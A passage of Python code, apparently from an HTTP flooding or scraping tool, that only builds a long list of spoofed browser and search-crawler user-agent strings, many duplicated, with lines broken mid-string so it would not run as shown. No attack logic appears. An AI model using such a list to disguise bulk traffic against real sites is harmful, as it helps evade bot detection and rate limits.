.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
